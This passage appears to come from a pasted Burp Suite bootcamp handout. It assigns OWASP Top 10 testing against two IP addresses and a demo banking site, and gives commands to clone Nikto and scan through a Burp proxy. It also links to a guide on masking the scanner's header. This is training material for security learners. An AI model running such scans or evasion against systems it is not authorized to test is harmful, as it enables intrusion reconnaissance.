  732. Here is a good reference of how to use Burp to look for OWASP Top 10 vulnerabilities:
  733. https://support.portswigger.net/customer/portal/articles/1969845-using-burp-to-test-for-the-owasp-top-ten
  734.  
  735.  
  736. Use Burp Suite to demonstrate with screenshots and explanations of how to test for the all of the OWASP Top 10 vulnerabilities against your choice of targets the following targets:
  737. http://45.63.104.73/
  738. http://45.77.162.239/
  739.  
  740. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Burp-Suite-Bootcamp-Day1-Homework.docx)
  741.  
  742.  
  743.  
  744. ************************ Class Challenge ************************
  745.  
  746. Let's see how you do with someone else's vulnerable website. Your 1st target is: http://zero.webappsecurity.com
  747.  
  748. Here are some sample web app penetration test reports from other companies that you can look at:
  749. https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip
  750.  
  751. I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project.
  752.  
  753. ---------------------------------------------------------------------------------------------------------
  754. #############################
  755. # Tricky stuff to play with #
  756. #############################
  757.  
  758.  
  759.  
  760.  
  761.  
  762. ###################
  763. # Nikto with Burp #
  764. # in Linux #
  765. ###################
  766.  
  767. cd ~/toolz/
  768.  
  769. rm -rf nikto*
  770.  
  771. git clone https://github.com/sullo/nikto.git Nikto2
  772.  
  773. cd Nikto2/program
  774.  
  775. perl nikto -h http://zero.webappsecurity.com -useproxy http://localhost:8080/
  776.  
  777. -----------------
  778. Masking the Nikto header reference:
  779. http://carnal0wnage.attackresearch.com/2009/09/btod-nikto-thru-burp-masking-nikto.html
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement